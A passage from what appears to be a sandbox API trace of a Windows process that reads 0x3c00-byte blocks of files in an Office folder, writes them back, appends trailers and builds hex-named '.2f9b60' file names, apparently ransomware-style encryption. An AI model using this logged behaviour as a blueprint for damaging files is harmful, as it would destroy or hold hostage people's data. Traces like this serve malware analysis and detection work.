0x3f95e0e [0129.360] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7c28892 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7a30a122 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x66f58423 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x691314e0 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x2116f1fe [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x79ad6b22 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x572f5 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x6b39bc8e [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x3baea641 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7a86eff2 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x408a3e44 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7f7b9c37 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0xaa44e74 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x4f67f4a3 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x27d49a20 [0129.361] RtlRandomEx (in: Seed=0x1e8ff770 | out: Seed=0x1e8ff770) returned 0x7bcf177c [0129.374] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.374] ReadFile (in: hFile=0xd78, lpBuffer=0x20473b80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e8ff7e0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesRead=0x1e8ff7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.377] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0129.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0129.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0129.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad20) returned 1 [0129.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d60 [0129.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0129.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594c0) returned 1 [0129.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.378] WriteFile (hFile=0xd78, lpBuffer=0x1ce64d60, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e8ff7e0, lpOverlapped=0x0) [0180.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d60) returned 1 [0180.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0180.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0180.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b20 [0180.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0180.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac4400 [0180.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac4400) returned 1 [0180.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ed70 [0180.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac4400 [0180.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0180.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c20) returned 1 [0180.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0180.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0180.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c215f0 [0180.043] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.043] WriteFile (in: hFile=0xd78, lpBuffer=0x42c215f0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1e8ff890, lpOverlapped=0x0 | out: lpBuffer=0x42c215f0*, lpNumberOfBytesWritten=0x1e8ff890*=0x11a, lpOverlapped=0x0) returned 1 [0210.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb060 [0210.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7e0 [0210.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a7e0) returned 1 [0210.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85a7e0 [0210.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a810 [0210.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0210.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859880) returned 1 [0210.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0210.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x431f97e0 [0210.362] sprintf (in: _Dest=0x431f97e0, _Format="%c%c" | out: _Dest="74") returned 2 [0210.362] sprintf (in: _Dest=0x431f97e2, _Format="%c%c" | out: _Dest="65") returned 2 [0210.362] sprintf (in: _Dest=0x431f97e4, _Format="%c%c" | out: _Dest="28") returned 2 [0210.362] sprintf (in: _Dest=0x431f97e6, _Format="%c%c" | out: _Dest="2d") returned 2 [0210.362] sprintf (in: _Dest=0x431f97e8, _Format="%c%c" | out: _Dest="c1") returned 2 [0210.362] sprintf (in: _Dest=0x431f97ea, _Format="%c%c" | out: _Dest="1d") returned 2 [0210.362] sprintf (in: _Dest=0x431f97ec, _Format="%c%c" | out: _Dest="18") returned 2 [0210.362] sprintf (in: _Dest=0x431f97ee, _Format="%c%c" | out: _Dest="bd") returned 2 [0210.362] sprintf (in: _Dest=0x431f97f0, _Format="%c%c" | out: _Dest="be") returned 2 [0210.362] sprintf (in: _Dest=0x431f97f2, _Format="%c%c" | out: _Dest="11") returned 2 [0210.362] sprintf (in: _Dest=0x431f97f4, _Format="%c%c" | out: _Dest="cd") returned 2 [0210.362] sprintf (in: _Dest=0x431f97f6, _Format="%c%c" | out: _Dest="00") returned 2 [0210.362] sprintf (in: _Dest=0x431f97f8, _Format="%c%c" | out: _Dest="b4") returned 2 [0210.362] sprintf (in: _Dest=0x431f97fa, _Format="%c%c" | out: _Dest="92") returned 2 [0210.362] sprintf (in: _Dest=0x431f97fc, _Format="%c%c" | out: _Dest="fd") returned 2 [0210.362] sprintf (in: _Dest=0x431f97fe, _Format="%c%c" | out: _Dest="db") returned 2 [0210.362] sprintf (in: _Dest=0x431f9800, _Format="%c%c" | out: _Dest="40") returned 2 [0210.362] sprintf (in: _Dest=0x431f9802, _Format="%c%c" | out: _Dest="c3") returned 2 [0210.362] sprintf (in: _Dest=0x431f9804, _Format="%c%c" | out: _Dest="a5") returned 2 [0210.362] sprintf (in: _Dest=0x431f9806, _Format="%c%c" | out: _Dest="08") returned 2 [0210.362] sprintf (in: _Dest=0x431f9808, _Format="%c%c" | out: _Dest="75") returned 2 [0210.362] sprintf (in: _Dest=0x431f980a, _Format="%c%c" | out: _Dest="e8") returned 2 [0210.362] sprintf (in: _Dest=0x431f980c, _Format="%c%c" | out: _Dest="cc") returned 2 [0210.362] sprintf (in: _Dest=0x431f980e, _Format="%c%c" | out: _Dest="58") returned 2 [0210.362] sprintf (in: _Dest=0x431f9810, _Format="%c%c" | out: _Dest="b7") returned 2 [0210.362] sprintf (in: _Dest=0x431f9812, _Format="%c%c" | out: _Dest="5d") returned 2 [0210.362] sprintf (in: _Dest=0x431f9814, _Format="%c%c" | out: _Dest="86") returned 2 [0210.362] sprintf (in: _Dest=0x431f9816, _Format="%c%c" | out: _Dest="2b") returned 2 [0210.362] sprintf (in: _Dest=0x431f9818, _Format="%c%c" | out: _Dest="1e") returned 2 [0210.362] sprintf (in: _Dest=0x431f981a, _Format="%c%c" | out: _Dest="12") returned 2 [0210.362] sprintf (in: _Dest=0x431f981c, _Format="%c%c" | out: _Dest="6e") returned 2 [0210.362] sprintf (in: _Dest=0x431f981e, _Format="%c%c" | out: _Dest="dc") returned 2 [0210.363] sprintf (in: _Dest=0x431f9820, _Format="%c%c" | out: _Dest="47") returned 2 [0210.363] sprintf (in: _Dest=0x431f9822, _Format="%c%c" | out: _Dest="a8") returned 2 [0210.363] sprintf (in: _Dest=0x431f9824, _Format="%c%c" | out: _Dest="6d") returned 2 [0210.363] sprintf (in: _Dest=0x431f9826, _Format="%c%c" | out: _Dest="b8") returned 2 [0210.363] sprintf (in: _Dest=0x431f9828, _Format="%c%c" | out: _Dest="df") returned 2 [0210.363] sprintf (in: _Dest=0x431f982a, _Format="%c%c" | out: _Dest="c2") returned 2 [0210.363] sprintf (in: _Dest=0x431f982c, _Format="%c%c" | out: _Dest="a1") returned 2 [0210.363] sprintf (in: _Dest=0x431f982e, _Format="%c%c" | out: _Dest="63") returned 2 [0210.363] RtlInitAnsiString (in: DestinationString=0x1e8ff908, SourceString="7465282dc11d18bdbe11cd00b492fddb40c3a50875e8cc58b75d862b1e126edc47a86db8dfc2a163" | out: DestinationString="7465282dc11d18bdbe11cd00b492fddb40c3a50875e8cc58b75d862b1e126edc47a86db8dfc2a163") [0210.363] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e8ff8d8, SourceString="7465282dc11d18bdbe11cd00b492fddb40c3a50875e8cc58b75d862b1e126edc47a86db8dfc2a163", AllocateDestinationString=1 | out: DestinationString="7465282dc11d18bdbe11cd00b492fddb40c3a50875e8cc58b75d862b1e126edc47a86db8dfc2a163") returned 0x0 [0210.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431307d0 [0210.364] wcscat (in: _Dest=0x43186d60, _Source="7465282dc11d18bdbe11" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11" [0210.364] wcscat (in: _Dest=0x43186d60, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11.2f9b60" [0210.364] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11.2f9b60", NtPathName=0x1e8ff8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\7465282dc11d18bdbe11.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0210.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x43117aa0 Thread: id = 1682 os_tid = 0x1bdc [0129.396] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll")) returned 0x2020 [0129.397] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0129.399] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1610 [0129.399] GetFileSizeEx (in: hFile=0x1610, lpFileSize=0x1ed1f720 | out: lpFileSize=0x1ed1f720*=252256) returned 1 [0129.399] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x3d95c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.399] ReadFile (in: hFile=0x1610, lpBuffer=0x1ed1f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ed1f6e8, lpOverlapped=0x0 | out: lpBuffer=0x1ed1f6a0*, lpNumberOfBytesRead=0x1ed1f6e8*=0x4, lpOverlapped=0x0) returned 1 [0129.402] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264fe0 [0129.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.402] NtQuerySystemTime (in: CurrentTime=0x1ed1f5e0 | out: CurrentTime=0x1ed1f5e0*=132462177346666000) returned 0x0 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x39461304 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x57a70c97 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x60eac3d6 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x4800dc63 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x4be42ce3 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0xc573ec8 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x21aea3dc [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x610a49c7 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x1923e809 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x2df5612d [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x2d46cfb8 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x20cb98be [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x37f47e91 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x40e15f85 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x1076b82d [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x3a78a04d [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0xa820927 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x6a89fbcc [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x7b7386ff [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x7fec36e9 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x3b2f2341 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x6e58210 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x71b79e97 [0129.403] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x1626c5bd [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x46c91e2 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x7912a973 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x2f8d300 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x1561d278 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x1ad05d91 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x258bf439 [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0x5c28d3bc [0129.404] RtlRandomEx (in: Seed=0x1ed1f5d0 | out: Seed=0x1ed1f5d0) returned 0xad3983d [0129.416] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.416] ReadFile (in: hFile=0x1610, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed1f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x1ed1f640*=0x3c00, lpOverlapped=0x0) returned 1 [0129.417] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0129.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0129.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8594c0) returned 1 [0129.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c580 [0129.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0129.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265070 [0129.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265070) returned 1 [0129.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.419] WriteFile (hFile=0x1610, lpBuffer=0x1ce6c580, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed1f640, lpOverlapped=0x0) [0180.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c580) returned 1 [0180.037] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.037] ReadFile (in: hFile=0x1610, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed1f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x1ed1f640*=0x3c00, lpOverlapped=0x0) returned 1 [0182.094] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0f0 [0182.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f0f0) returned 1 [0182.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ae130 [0182.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f0f0 [0182.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f120 [0182.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f120) returned 1 [0182.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.097] WriteFile (in: hFile=0x1610, lpBuffer=0x201ae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed1f640, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesWritten=0x1ed1f640*=0x3c00, lpOverlapped=0x0) returned 1 [0194.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0194.609] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x39d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.609] ReadFile (in: hFile=0x1610, lpBuffer=0x1ce70190, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ed1f640, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesRead=0x1ed1f640*=0x3c00, lpOverlapped=0x0) returned 1 [0194.728] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x39d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0194.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d460) returned 1 [0194.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203861b0 [0194.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d460 [0194.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0194.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d160) returned 1 [0194.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.731] WriteFile (in: hFile=0x1610, lpBuffer=0x203861b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ed1f640, lpOverlapped=0x0 | out: lpBuffer=0x203861b0*, lpNumberOfBytesWritten=0x1ed1f640*=0x3c00, lpOverlapped=0x0) returned 1 [0210.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203861b0) returned 1 [0210.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea080 [0210.300] SetFilePointerEx (in: hFile=0x1610, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.300] WriteFile (in: hFile=0x1610, lpBuffer=0x1ceb9180*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x1ed1f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9180*, lpNumberOfBytesWritten=0x1ed1f6f0*=0x15c, lpOverlapped=0x0) returned 1 [0217.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fddb0 [0217.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fddb0) returned 1 [0217.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fb70 [0217.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fddb0 [0217.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd80 [0217.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd80) returned 1 [0217.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b8587f0 [0217.629] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="d9") returned 2 [0217.629] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="ca") returned 2 [0217.629] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="06") returned 2 [0217.629] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="84") returned 2 [0217.630] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.630] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="05") returned 2 [0217.630] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="ec") returned 2 [0217.630] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="2a") returned 2 [0217.630] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="2b") returned 2 [0217.630] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="27") returned 2 [0217.630] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="75") returned 2 [0217.630] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="1f") returned 2 [0217.630] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.630] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="25") returned 2 [0217.630] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="7f") returned 2 [0217.630] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="e8") returned 2 [0217.630] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="e5") returned 2 [0217.630] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.630] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="cd") returned 2 [0217.630] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.630] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="60") returned 2 [0217.630] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="56") returned 